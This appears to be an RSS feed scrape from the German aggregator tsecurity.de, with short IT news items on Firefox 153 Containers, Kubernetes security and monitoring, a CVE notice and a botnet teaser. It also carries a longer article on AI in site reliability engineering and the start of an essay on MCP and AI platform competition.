<pubDate>Thu, 23 Jul 2026 08:17:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Kubernetes-Knowhow im Doppelpack für Admins und Sicherheitsverantwortliche: Von der Härtung des K8S-Clusters bis zur Verteidigung gegen Cyberkriminelle.]]></content:encoded>
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<title><![CDATA[Kubernetes-Monitoring: Mehr Transparenz in hybriden Infrastrukturen]]></title>
<description><![CDATA[Kubernetes ist ein Begriff, der in zahlreichen Unternehmen nach wie vor gleichermaßen für große Erwartungen wie auch für Respekt sorgt. 

Tags: #Kubernetes | #Monitoring]]></description>
<link>https://tsecurity.de/de/3687918/it-security-nachrichten/kubernetes-monitoring-mehr-transparenz-in-hybriden-infrastrukturen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687918/it-security-nachrichten/kubernetes-monitoring-mehr-transparenz-in-hybriden-infrastrukturen/</guid>
<pubDate>Thu, 23 Jul 2026 05:44:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687.jpg" class="attachment-full size-full wp-post-image" alt="Kubernetes" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Kubernetes-Monitoring: Mehr Transparenz in hybriden Infrastrukturen 1"></p>
    Kubernetes ist ein Begriff, der in zahlreichen Unternehmen nach wie vor gleichermaßen für große Erwartungen wie auch für Respekt sorgt. 

<p>Tags: <a href="https://www.it-daily.net/thema/kubernetes">#Kubernetes</a> | <a href="https://www.it-daily.net/thema/monitoring">#Monitoring</a></p>]]></content:encoded>
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<title><![CDATA[Firefox 153 enables Containers by default, and you can create your own - here's how]]></title>
<description><![CDATA[Containers are a boon to your browsing security and privacy. Out of the box, Firefox now gives you four pre-configured containers: Personal, Work, Banking, and Shopping.]]></description>
<link>https://tsecurity.de/de/3687130/it-nachrichten/firefox-153-enables-containers-by-default-and-you-can-create-your-own-heres-how/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687130/it-nachrichten/firefox-153-enables-containers-by-default-and-you-can-create-your-own-heres-how/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Containers are a boon to your browsing security and privacy. Out of the box, Firefox now gives you four pre-configured containers: Personal, Work, Banking, and Shopping.]]></content:encoded>
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<title><![CDATA[CVE-2026-60407 | Oracle TimesTen In-Memory Database 26.1.1.1.0 Kubernetes Operator improper authorization (CNNVD-2026-99803781)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in Oracle TimesTen In-Memory Database 26.1.1.1.0. The affected element is an unknown function of the component Kubernetes Operator. The manipulation leads to improper authorization.

This vulnerability is uniquely identified as CVE-2026-6040...]]></description>
<link>https://tsecurity.de/de/3686765/sicherheitsluecken/cve-2026-60407-oracle-timesten-in-memory-database-261110-kubernetes-operator-improper-authorization-cnnvd-2026-99803781/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686765/sicherheitsluecken/cve-2026-60407-oracle-timesten-in-memory-database-261110-kubernetes-operator-improper-authorization-cnnvd-2026-99803781/</guid>
<pubDate>Wed, 22 Jul 2026 17:06:44 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/oracle:timesten_in-memory_database">Oracle TimesTen In-Memory Database 26.1.1.1.0</a>. The affected element is an unknown function of the component <em>Kubernetes Operator</em>. The manipulation leads to improper authorization.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-60407">CVE-2026-60407</a>. Local access is required to approach this attack. No exploit exists.]]></content:encoded>
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<title><![CDATA[Firefox 153 Released]]></title>
<description><![CDATA[Longtime Slashdot reader williamyf writes: FireFox 153 was released today. The most important user-facing changes are improvements to PDF handling (you can now merge PDFs and add images to them), and HDR video playback (on Windows, provided HDR is active systemwide). Other under-the-hood changes ...]]></description>
<link>https://tsecurity.de/de/3684870/it-security-nachrichten/firefox-153-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684870/it-security-nachrichten/firefox-153-released/</guid>
<pubDate>Tue, 21 Jul 2026 23:13:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Longtime Slashdot reader williamyf writes: FireFox 153 was released today. The most important user-facing changes are improvements to PDF handling (you can now merge PDFs and add images to them), and HDR video playback (on Windows, provided HDR is active systemwide). Other under-the-hood changes include browser-wide containers and QWAC support. The full list is in the change notes.

 But the most important feature is that this version is an ESR and, therefore, defines the ESR feature set for the next year. Why is being an ESR so important, you ask?

 1.) ESR, rather than "normal" (a.k.a. Rapid Release), Firefox is the out-of-the-box browser for many important distros, including Debian, RHEL, Kali, Tails, SUSE Linux Enterprise, Slackware, and others.

 2.) Many organizations, large and small, standardize on Firefox ESR as their default browser, regardless of the default browser included with their OS.

 3.) Firefox ESR is the basis for many downstream projects, such as Waterfox and KaiOS. All these projects will inherit, for a year, whatever ESR brings to the table today.

 4.) Many ISVs and SaaS providers, if they certify their wares for Firefox at all, certify for the ESR version only.

 Please note that ESR 153 will not be offered as an automatic update until two months from now (ESR 140 will still be supported). If you want it now, you will need to download and install it manually.

 Also of note, ESR 115 will be supported until March 2027. If you use an unsupported version of macOS or Windows (like Windows 7 or 8.x), this is the version to get. However, even Mozilla cautions against running a supported browser on an unsupported OS: "Note that Microsoft ended official support for Windows 7, 8, and 8.1 in January 2023. Unsupported operating systems receive no security updates and have known vulnerabilities. Without official support from Microsoft, maintaining Firefox for outdated operating systems becomes costly for Mozilla and risky for users."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Firefox+153+Released%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F21%2F2022247%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
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</div><p><a href="https://news.slashdot.org/story/26/07/21/2022247/firefox-153-released?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Firefox 153 adds built-in Containers for easy account isolation]]></title>
<description><![CDATA[Mozilla has released Firefox 153, introducing built-in Containers as a native browser feature alongside HDR video playback on Windows, new PDF editing capabilities, and several security improvements. Firefox 153 is now rolling out to users on the browser's Release channel. The update expands Fire...]]></description>
<link>https://tsecurity.de/de/3684551/it-security-nachrichten/firefox-153-adds-built-in-containers-for-easy-account-isolation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684551/it-security-nachrichten/firefox-153-adds-built-in-containers-for-easy-account-isolation/</guid>
<pubDate>Tue, 21 Jul 2026 19:58:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Mozilla has released Firefox 153, introducing built-in Containers as a native browser feature alongside HDR video playback on Windows, new PDF editing capabilities, and several security improvements. Firefox 153 is now rolling out to users on the browser's Release channel. The update expands Firefox's long-standing privacy and workflow capabilities by integrating Containers directly into the …</p>
<p>The post <a href="https://cyberinsider.com/firefox-153-adds-built-in-containers-for-easy-account-isolation/">Firefox 153 adds built-in Containers for easy account isolation</a> appeared first on <a href="https://cyberinsider.com/">CyberInsider</a>.</p>]]></content:encoded>
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<title><![CDATA[Experience Better Browsing: Introducing Native Containers in Firefox 153]]></title>
<description><![CDATA[Today, we’re excited to announce the Preview of Containers in Firefox version 153, which lets you keep separate parts of your online life (work, shopping, personal, banking) logged into different accounts in the same browser window, but keeps your cookies and ad tracking isolated inside each cont...]]></description>
<link>https://tsecurity.de/de/3684317/tools/experience-better-browsing-introducing-native-containers-in-firefox-153/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684317/tools/experience-better-browsing-introducing-native-containers-in-firefox-153/</guid>
<pubDate>Tue, 21 Jul 2026 18:12:00 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Today, we’re excited to announce the Preview of Containers in Firefox version 153, which lets you keep separate parts of your online life (work, shopping, personal, banking) logged into different accounts in the same browser window, but keeps your cookies and ad tracking isolated inside each container. This means that stuff you do in one […]</p>
<p>The post <a href="https://blog.mozilla.org/en/firefox/firefox-containers-preview/">Experience Better Browsing: Introducing Native Containers in Firefox 153</a> appeared first on <a href="https://blog.mozilla.org/en/">The Mozilla Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[NadMesh-Botnetz stiehlt Cloud-Zugänge über KI-Dienste]]></title>
<description><![CDATA[Das neue Go-Botnetz NadMesh sucht nach ungeschützten KI-Diensten, um AWS-Zugangsdaten und Kubernetes-Token aus den Systemen zu entwenden.

Tags: #Cloud | #Cyber Crime | #Künstliche Intelligenz]]></description>
<link>https://tsecurity.de/de/3684203/it-security-nachrichten/nadmesh-botnetz-stiehlt-cloud-zugaenge-ueber-ki-dienste/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684203/it-security-nachrichten/nadmesh-botnetz-stiehlt-cloud-zugaenge-ueber-ki-dienste/</guid>
<pubDate>Tue, 21 Jul 2026 17:39:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2026/01/Cloud-Shutterstock-2372124677-1920.jpg" class="attachment-full size-full wp-post-image" alt="Cloud" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/01/Cloud-Shutterstock-2372124677-1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2026/01/Cloud-Shutterstock-2372124677-1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2026/01/Cloud-Shutterstock-2372124677-1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2026/01/Cloud-Shutterstock-2372124677-1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2026/01/Cloud-Shutterstock-2372124677-1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="NadMesh-Botnetz stiehlt Cloud-Zugänge über KI-Dienste 1"></p>
    Das neue Go-Botnetz NadMesh sucht nach ungeschützten KI-Diensten, um AWS-Zugangsdaten und Kubernetes-Token aus den Systemen zu entwenden.

<p>Tags: <a href="https://www.it-daily.net/thema/cloud">#Cloud</a> | <a href="https://www.it-daily.net/thema/cyber-crime">#Cyber Crime</a> | <a href="https://www.it-daily.net/thema/kuenstliche-intelligenz">#Künstliche Intelligenz</a></p>]]></content:encoded>
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<title><![CDATA[heise-Angebot: iX-Workshop Advanced Kubernetes Security: Effektive Maßnahmen und Best Practices]]></title>
<description><![CDATA[Lernen Sie anhand praktischer Beispiele, wie Sie Ihre Kubernetes-Umgebung durch effektive Methoden und Werkzeuge vor Angriffen schützen.]]></description>
<link>https://tsecurity.de/de/3683654/it-nachrichten/heise-angebot-ix-workshop-advanced-kubernetes-security-effektive-massnahmen-und-best-practices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683654/it-nachrichten/heise-angebot-ix-workshop-advanced-kubernetes-security-effektive-massnahmen-und-best-practices/</guid>
<pubDate>Tue, 21 Jul 2026 14:18:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Lernen Sie anhand praktischer Beispiele, wie Sie Ihre Kubernetes-Umgebung durch effektive Methoden und Werkzeuge vor Angriffen schützen.]]></content:encoded>
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<title><![CDATA[How AI impacts site reliability engineering]]></title>
<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
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<title><![CDATA[Firefox 153 offers built-in container tabs, rounded corners + more]]></title>
<description><![CDATA[Mozilla has released Firefox 153 with built-in containers, QR code generation and more quick actions in the address bar. This is the final “monthly” stable release before Mozilla moves to a faster release cadence, putting out new stable versions of Firefox every two weeks. On an unrelated note, F...]]></description>
<link>https://tsecurity.de/de/3682432/linux-tipps/firefox-153-offers-built-in-container-tabs-rounded-corners-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682432/linux-tipps/firefox-153-offers-built-in-container-tabs-rounded-corners-more/</guid>
<pubDate>Tue, 21 Jul 2026 02:21:21 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/05/firefox-153.webp?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/05/firefox-153.webp?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/05/firefox-153.webp?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/05/firefox-153.webp?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/05/firefox-153.webp?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">Mozilla has released Firefox 153 with built-in containers, QR code generation and more quick actions in the address bar. This is the final “monthly” stable release before Mozilla moves to a faster release cadence, putting out new stable versions of Firefox every two weeks. On an unrelated note, Firefox has resumed activity on X (formerly Twitter) after a year of no activity. Like all updates, you can get this one for Windows, macOS and Linux, as well as for Android and iOS (mobile versions have different features and are not covered in this post). Firefox gets built-in Containers Containers are […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/firefox-153-new-containers-feature">Firefox 153 offers built-in container tabs, rounded corners + more</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
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<title><![CDATA[Where the real competition is in AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</guid>
<pubDate>Mon, 20 Jul 2026 19:48:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a>, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a>. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere where they hold a stronger hand.</p>



